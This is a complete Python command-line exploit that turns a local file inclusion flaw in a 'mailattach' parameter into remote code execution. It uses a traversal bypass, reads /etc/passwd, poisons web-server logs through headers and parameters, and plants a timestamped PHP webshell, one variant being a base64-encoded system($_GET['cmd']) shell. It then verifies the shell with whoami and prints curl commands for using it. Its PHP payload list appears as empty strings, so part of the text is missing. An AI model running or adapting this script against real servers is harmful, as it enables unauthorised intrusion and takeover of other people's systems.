#!/usr/bin/env python3 import requests import sys import urllib.parse import time from argparse import ArgumentParser import warnings from requests.packages.urllib3.exceptions import InsecureRequestWarning # Disable SSL warnings warnings.filterwarnings("ignore", category=InsecureRequestWarning) # Common log paths COMMON_LOG_PATHS = [ '/var/log/apache2/access.log', '/var/log/nginx/access.log', '/var/log/httpd/access_log', '/proc/self/fd/1', # Standard output for some setups '/var/log/lighttpd/access.log', '/var/www/logs/access.log' ] # PHP payload variants PHP_PAYLOADS = [ '', '', '', '', '' # Usage: ?a=system&b=whoami ] class Exploit: def __init__(self, target, endpoint, proxy=None, verbose=False, verify_ssl=False): self.target = target.rstrip('/') self.endpoint = endpoint self.session = requests.Session() self.session.verify = verify_ssl # SSL verification control self.verbose = verbose self.webshell_name = f"shell_{int(time.time())}.php" if proxy: self.session.proxies = {'http': proxy, 'https': proxy} def log(self, message): if self.verbose: print(f"[*] {message}") def test_lfi(self): """Test for LFI vulnerability""" test_files = [ ('/etc/passwd', 'root:'), ('/proc/self/environ', 'PATH=') ] for path, signature in test_files: try: url = f"{self.target}{self.endpoint}?mailattach=..././{urllib.parse.quote(path)}" r = self.session.get(url, timeout=10) if signature in r.text: self.log(f"LFI confirmed via {path}") return True except Exception as e: self.log(f"LFI test error: {e}") return False def poison_logs(self): """Inject malicious payloads into server logs""" techniques = [ lambda p: {'User-Agent': p}, lambda p: {'Referer': p}, lambda p: {'Cookie': f'payload={p}'}, lambda p: None ] for payload in PHP_PAYLOADS: for tech in techniques: try: headers = tech(payload) if headers: self.session.get(self.target + "/", headers=headers, timeout=5) self.log(f"Payload sent via {list(headers.keys())[0]}") else: self.session.get(f"{self.target}/index.php?param={payload}", timeout=5) self.log("Payload sent via GET parameter") time.sleep(1) except Exception as e: self.log(f"Payload send error: {e}") def try_write_shell(self): """Attempt to write webshell via poisoned logs""" for log_path in COMMON_LOG_PATHS: try: encoded_path = urllib.parse.quote(log_path).replace('%2F', '/').replace('/', '..././') payloads = [ {'f': f'/var/www/html/{self.webshell_name}', 'd': ''}, {'f': f'/var/www/html/b64_{self.webshell_name}', 'd': 'PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+'} ] for params in payloads: url = f"{self.target}{self.endpoint}?mailattach={encoded_path}" r = self.session.get(url, params=params, timeout=10) if r.status_code == 200: self.log(f"Write attempt via {log_path}") return self.test_webshell() except Exception as e: self.log(f"Webshell write error: {e}") return False def test_webshell(self): """Verify webshell execution""" test_urls = [ f"{self.target}/{self.webshell_name}?cmd=whoami", f"{self.target}/b64_{self.webshell_name}?cmd=whoami" ] for url in test_urls: try: r = self.session.get(url, timeout=5) if 'www-data' in r.text or 'root' in r.text: print(f"\n[+] Exploit successful!") print(f"[+] Webshell URL: {url.replace('whoami', 'your_command')}") print("[+] Example usage:") print(f"curl -k '{url.replace('whoami', 'ls -la')}'") return True except: continue return False def run(self): if not self.test_lfi(): print("[-] Target not vulnerable to LFI") return False print("[+] Target vulnerable, attempting exploitation...") self.poison_logs() return self.try_write_shell() if __name__ == "__main__": parser = ArgumentParser(description="LFI to RCE Exploit via Log Poisoning") parser.add_argument("target", help="Target URL (e.g., https://example.com:9000)") parser.add_argument("endpoint", help="Vulnerable endpoint (e.g., /images.listener.php)") parser.add_argument("-p", "--proxy", help="Proxy server (e.g., http://127.0.0.1:8080)") parser.add_argument("-v", "--verbose", action="store_true", help="Verbose output") parser.add_argument("--no-verify", action="store_false", dest="verify_ssl", help="Disable SSL verification") args = parser.parse_args() exploit = Exploit(args.target, args.endpoint, args.proxy, args.verbose, args.verify_ssl) if not exploit.run(): print("[-] Exploit failed")